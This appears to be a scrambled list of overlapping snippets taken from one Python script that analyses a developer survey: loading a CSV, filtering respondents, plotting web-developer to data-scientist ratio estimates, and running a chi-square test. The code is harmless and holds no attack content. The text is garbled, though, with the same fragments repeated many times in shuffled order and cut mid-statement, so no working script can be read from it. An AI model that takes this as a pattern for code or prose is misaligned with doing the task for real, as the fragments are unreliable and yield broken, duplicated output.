#\",\n \"estimate the ratio between # the amount of web developers vs the amount\",\n \"ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations')\",\n \"a categorical data point, and it's already ordered in the data # dictionary.\",\n \"ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios')\",\n \"is a categorical data point, and it's already ordered in the data #\",\n \"numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1' : 5,\",\n \"scientist ratio # In the survey, respondents were asked to estimate the ratio\",\n \"list of names to import usecols = [x.name for x in DATA_DICTIONARY if\",\n \"- 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate\",\n \"it's already ordered in the data # dictionary. So we shouldn't sort it\",\n \"names to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] #\",\n \"x in DATA_DICTIONARY] # Generate the list of names to import usecols =\",\n \"Considering we now only have two categories left: # - Yes # -\",\n \"self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g',\",\n \"draw a bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111)\",\n \"#%% Clean up data: remove disqualified users # In the survey, any user\",\n \": 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric =\",\n \"let's drop them here. df = df[df['python_main'] != 'No, I don’t use Python\",\n \"others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for\",\n \"developers vs the amount of data scientists. Afterwards # they were asked what\",\n \"labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels)\",\n \"x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters converters =\",\n \"remove disqualified users # In the survey, any user who selected they don't\",\n \"asked what they thought the most popular answer would be. # Let's see\",\n \"in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name : x.converter\",\n \"# Let's draw a bar chart comparing the distributions fig = plt.figure() ax\",\n \"and it's already ordered in the data # dictionary. So we shouldn't sort\",\n \"fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH\",\n \"= np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars\",\n \"fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH,\",\n \"#%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null\",\n \"width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x\",\n \"dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same\",\n \"same for converters converters = {x.name : x.converter for x in DATA_DICTIONARY if\",\n \"recode the ratios to numbers, and calculate the means CONVERSION = { '10:1':\",\n \"So let's drop them here. df = df[df['python_main'] != 'No, I don’t use\",\n \"of 'col_name' : dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY\",\n \"respondents were asked to estimate the ratio between # the amount of web\",\n \"thought the most popular answer would be. # Let's see if there's a\",\n \"asked to estimate the ratio between # the amount of web developers vs\",\n \"pandas as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats\",\n \"#%% Calculate the predicted totals # Let's recode the ratios to numbers, and\",\n \"use Python for secondary projects only # Let's turn it into a bool\",\n \"would be. # Let's see if there's a difference! # This is a\",\n \"names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In\",\n \"Python for secondary projects only # Let's turn it into a bool df['python_main']\",\n \"after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw\",\n \"a bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT\",\n \"for x in DATA_DICTIONARY] # Generate the list of names to import usecols\",\n \"survey, respondents were asked to estimate the ratio between # the amount of\",\n \"point, and it's already ordered in the data # dictionary. So we shouldn't\",\n \"No, I use Python for secondary projects only # Let's turn it into\",\n \"hypothesis is that they're the same. Let's see if we can reject it\",\n \"the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2,\",\n \"# - Yes # - No, I use Python for secondary projects only\",\n \"converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In the survey,\",\n \"data: remove disqualified users # In the survey, any user who selected they\",\n \"chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count()\",\n \"we now only have two categories left: # - Yes # - No,\",\n \"10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5,\",\n \"use Python for my current projects'] # Considering we now only have two\",\n \"} self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values())\",\n \"was then # disqualified from the rest of the survey. So let's drop\",\n \"This is a categorical data point, and it's already ordered in the data\",\n \"current projects'] # Considering we now only have two categories left: # -\",\n \"= 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others,\",\n \": 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1\",\n \"web devs / scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self,\",\n \"dictionary. So we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False)\",\n \"!= 'No, I don’t use Python for my current projects'] # Considering we\",\n \"import pandas as pd import numpy as np import matplotlib.pyplot as plt import\",\n \"any user who selected they don't use Python was then # disqualified from\",\n \"it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web\",\n \"bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev / data\",\n \"to estimate the ratio between # the amount of web developers vs the\",\n \"sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) #\",\n \"the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar\",\n \"result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same.\",\n \"usecols=usecols) #%% Clean up data: remove disqualified users # In the survey, any\",\n \"df = df[df['python_main'] != 'No, I don’t use Python for my current projects']\",\n \".replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist')\",\n \"were asked what they thought the most popular answer would be. # Let's\",\n \"should be a dict of 'col_name' : dtype dtypes = {x.name : x.dtype\",\n \"df[df['python_main'] != 'No, I don’t use Python for my current projects'] # Considering\",\n \"usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be\",\n \"data scientists. Afterwards # they were asked what they thought the most popular\",\n \"between # the amount of web developers vs the amount of data scientists.\",\n \"selected they don't use Python was then # disqualified from the rest of\",\n \"Let's draw a bar chart comparing the distributions fig = plt.figure() ax =\",\n \"x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data:\",\n \"('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode the\",\n \"'1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric\",\n \"the web dev / data scientist ratio # In the survey, respondents were\",\n \"numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY\",\n \"# Considering we now only have two categories left: # - Yes #\",\n \"import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should\",\n \"pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary\",\n \"# the amount of web developers vs the amount of data scientists. Afterwards\",\n \"x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols)\",\n \"converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df =\",\n \"difference! # This is a categorical data point, and it's already ordered in\",\n \"The null hypothesis is that they're the same. Let's see if we can\",\n \"In the survey, respondents were asked to estimate the ratio between # the\",\n \"popular')) plt.show() #%% Calculate the predicted totals # Let's recode the ratios to\",\n \"ratio # In the survey, respondents were asked to estimate the ratio between\",\n \"= pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified\",\n \"df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove\",\n \"= ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl\",\n \"= ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH,\",\n \"data point, and it's already ordered in the data # dictionary. So we\",\n \"So we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others\",\n \"Let's see if there's a difference! # This is a categorical data point,\",\n \"most popular answer would be. # Let's see if there's a difference! #\",\n \"== 'Yes' #%% Plot the web dev / data scientist ratio # In\",\n \"amount of web developers vs the amount of data scientists. Afterwards # they\",\n \"= df[df['python_main'] != 'No, I don’t use Python for my current projects'] #\",\n \"what they thought the most popular answer would be. # Let's see if\",\n \"Afterwards # they were asked what they thought the most popular answer would\",\n \".replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%%\",\n \"to take the names list from our data dictionary names = [x.name for\",\n \"as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY #\",\n \"# In the survey, respondents were asked to estimate the ratio between #\",\n \": 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric =\",\n \"dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In the\",\n \"were asked to estimate the ratio between # the amount of web developers\",\n \"import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to\",\n \"0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the\",\n \"align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl)\",\n \"the amount of web developers vs the amount of data scientists. Afterwards #\",\n \"'5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5'\",\n \"print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the\",\n \"ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%%\",\n \"import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import\",\n \"import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data\",\n \"- Yes # - No, I use Python for secondary projects only #\",\n \"0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH,\",\n \"DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean\",\n \"ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index]\",\n \"'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode the ratios\",\n \"width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels\",\n \"the ratios to numbers, and calculate the means CONVERSION = { '10:1': 10,\",\n \"users # In the survey, any user who selected they don't use Python\",\n \"popular answer would be. # Let's see if there's a difference! # This\",\n \"CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is\",\n \"for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters,\",\n \"= df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web\",\n \"it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's\",\n \"secondary projects only # Let's turn it into a bool df['python_main'] = df['python_main']\",\n \"ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing\",\n \"Calculate the predicted totals # Let's recode the ratios to numbers, and calculate\",\n \"2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 }\",\n \"a dict of 'col_name' : dtype dtypes = {x.name : x.dtype for x\",\n \"if x.usecol] # dtypes should be a dict of 'col_name' : dtype dtypes\",\n \"df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs /\",\n \"names list from our data dictionary names = [x.name for x in DATA_DICTIONARY]\",\n \"finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the names\",\n \"projects'] # Considering we now only have two categories left: # - Yes\",\n \"DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name' : dtype\",\n \"bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT =\",\n \": 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(),\",\n \"= ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center')\",\n \"= plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH =\",\n \"of web developers vs the amount of data scientists. Afterwards # they were\",\n \"[str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]),\",\n \"Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis\",\n \"survey, any user who selected they don't use Python was then # disqualified\",\n \"the amount of data scientists. Afterwards # they were asked what they thought\",\n \"is that they're the same. Let's see if we can reject it print(result)\",\n \"= df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig =\",\n \"for secondary projects only # Let's turn it into a bool df['python_main'] =\",\n \"x in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name :\",\n \"user who selected they don't use Python was then # disqualified from the\",\n \"0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values())\",\n \"CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' :\",\n \"# In the survey, any user who selected they don't use Python was\",\n \"counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a\",\n \"then # disqualified from the rest of the survey. So let's drop them\",\n \"scientists. Afterwards # they were asked what they thought the most popular answer\",\n \"DATA_DICTIONARY # Load data # We want to take the names list from\",\n \"- No, I use Python for secondary projects only # Let's turn it\",\n \"x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes,\",\n \"dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list of\",\n \"shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False)\",\n \"x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center')\",\n \"drop them here. df = df[df['python_main'] != 'No, I don’t use Python for\",\n \"amount of data scientists. Afterwards # they were asked what they thought the\",\n \"= df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs\",\n \"web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference\",\n \"color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x -\",\n \"significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the\",\n \"up data: remove disqualified users # In the survey, any user who selected\",\n \"the survey. So let's drop them here. df = df[df['python_main'] != 'No, I\",\n \"[x.name for x in DATA_DICTIONARY] # Generate the list of names to import\",\n \"= fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars =\",\n \"data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list\",\n \"scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The\",\n \"data scientist ratio # In the survey, respondents were asked to estimate the\",\n \"dtypes should be a dict of 'col_name' : dtype dtypes = {x.name :\",\n \"survey. So let's drop them here. df = df[df['python_main'] != 'No, I don’t\",\n \"pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users\",\n \"RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self,\",\n \"be a dict of 'col_name' : dtype dtypes = {x.name : x.dtype for\",\n \"from the rest of the survey. So let's drop them here. df =\",\n \"them here. df = df[df['python_main'] != 'No, I don’t use Python for my\",\n \"* WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted\",\n \": x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names,\",\n \"ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 *\",\n \"turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the\",\n \"df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig = plt.figure()\",\n \"left: # - Yes # - No, I use Python for secondary projects\",\n \"as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We\",\n \"disqualified users # In the survey, any user who selected they don't use\",\n \"'Yes' #%% Plot the web dev / data scientist ratio # In the\",\n \"the predicted totals # Let's recode the ratios to numbers, and calculate the\",\n \"header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users #\",\n \"the list of names to import usecols = [x.name for x in DATA_DICTIONARY\",\n \"/ data scientist ratio # In the survey, respondents were asked to estimate\",\n \"categorical data point, and it's already ordered in the data # dictionary. So\",\n \"values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart\",\n \"= [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be a\",\n \"DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name : x.converter for\",\n \"for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self',\",\n \"data # dictionary. So we shouldn't sort it after counting the values. ratio_self\",\n \"= [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0],\",\n \"null hypothesis is that they're the same. Let's see if we can reject\",\n \"in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%%\",\n \"calculate the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' :\",\n \"want to take the names list from our data dictionary names = [x.name\",\n \"/ scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant?\",\n \"ratio between # the amount of web developers vs the amount of data\",\n \"= [x.name for x in DATA_DICTIONARY] # Generate the list of names to\",\n \"dict of 'col_name' : dtype dtypes = {x.name : x.dtype for x in\",\n \"0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(),\",\n \"color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels =\",\n \"plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4\",\n \"now only have two categories left: # - Yes # - No, I\",\n \"the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is\",\n \"# Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%%\",\n \"\\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist')\",\n \"the most popular answer would be. # Let's see if there's a difference!\",\n \"dev / data scientist ratio # In the survey, respondents were asked to\",\n \"# This is a categorical data point, and it's already ordered in the\",\n \"to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes\",\n \"I use Python for secondary projects only # Let's turn it into a\",\n \"the survey, respondents were asked to estimate the ratio between # the amount\",\n \"who selected they don't use Python was then # disqualified from the rest\",\n \"ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in\",\n \"I don’t use Python for my current projects'] # Considering we now only\",\n \"#%% Plot the web dev / data scientist ratio # In the survey,\",\n \"the survey, any user who selected they don't use Python was then #\",\n \"'1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric\",\n \"= df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the\",\n \"in the data # dictionary. So we shouldn't sort it after counting the\",\n \"self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)}\",\n \"my current projects'] # Considering we now only have two categories left: #\",\n \"we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others =\",\n \"{x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters\",\n \"Python for my current projects'] # Considering we now only have two categories\",\n \"there's a difference! # This is a categorical data point, and it's already\",\n \"/ scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) #\",\n \"if there's a difference! # This is a categorical data point, and it's\",\n \"print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant? result =\",\n \"np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars =\",\n \"devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically\",\n \": x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters converters\",\n \"= df['python_main'] == 'Yes' #%% Plot the web dev / data scientist ratio\",\n \"<gh_stars>0 import pandas as pd import numpy as np import matplotlib.pyplot as plt\",\n \"# Load data # We want to take the names list from our\",\n \"Generate the list of names to import usecols = [x.name for x in\",\n \"totals # Let's recode the ratios to numbers, and calculate the means CONVERSION\",\n \"answer would be. # Let's see if there's a difference! # This is\",\n \"of names to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol]\",\n \"Clean up data: remove disqualified users # In the survey, any user who\",\n \"ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals #\",\n \"WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals\",\n \"\\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs /\",\n \"0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others']\",\n \"scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant? result\",\n \"x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name'\",\n \"= { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1,\",\n \"1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self']\",\n \"Plot the web dev / data scientist ratio # In the survey, respondents\",\n \"'1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\\",\n \"ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars\",\n \"into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev\",\n \"# dictionary. So we shouldn't sort it after counting the values. ratio_self =\",\n \"matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data #\",\n \"np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load\",\n \"web developers vs the amount of data scientists. Afterwards # they were asked\",\n \"data # We want to take the names list from our data dictionary\",\n \"# same for converters converters = {x.name : x.converter for x in DATA_DICTIONARY\",\n \"for my current projects'] # Considering we now only have two categories left:\",\n \"the ratio between # the amount of web developers vs the amount of\",\n \"our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the\",\n \"to numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1' :\",\n \"for x in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name\",\n \"= {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same for\",\n \"Python was then # disqualified from the rest of the survey. So let's\",\n \"they don't use Python was then # disqualified from the rest of the\",\n \"# Generate the list of names to import usecols = [x.name for x\",\n \"df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions\",\n \"others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)} web\",\n \"vs the amount of data scientists. Afterwards # they were asked what they\",\n \"in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name' :\",\n \"don't use Python was then # disqualified from the rest of the survey.\",\n \"scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same. Let's see\",\n \"ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b',\",\n \"the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x =\",\n \"from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the\",\n \"of data scientists. Afterwards # they were asked what they thought the most\",\n \"DATA_DICTIONARY] # Generate the list of names to import usecols = [x.name for\",\n \"already ordered in the data # dictionary. So we shouldn't sort it after\",\n \"projects only # Let's turn it into a bool df['python_main'] = df['python_main'] 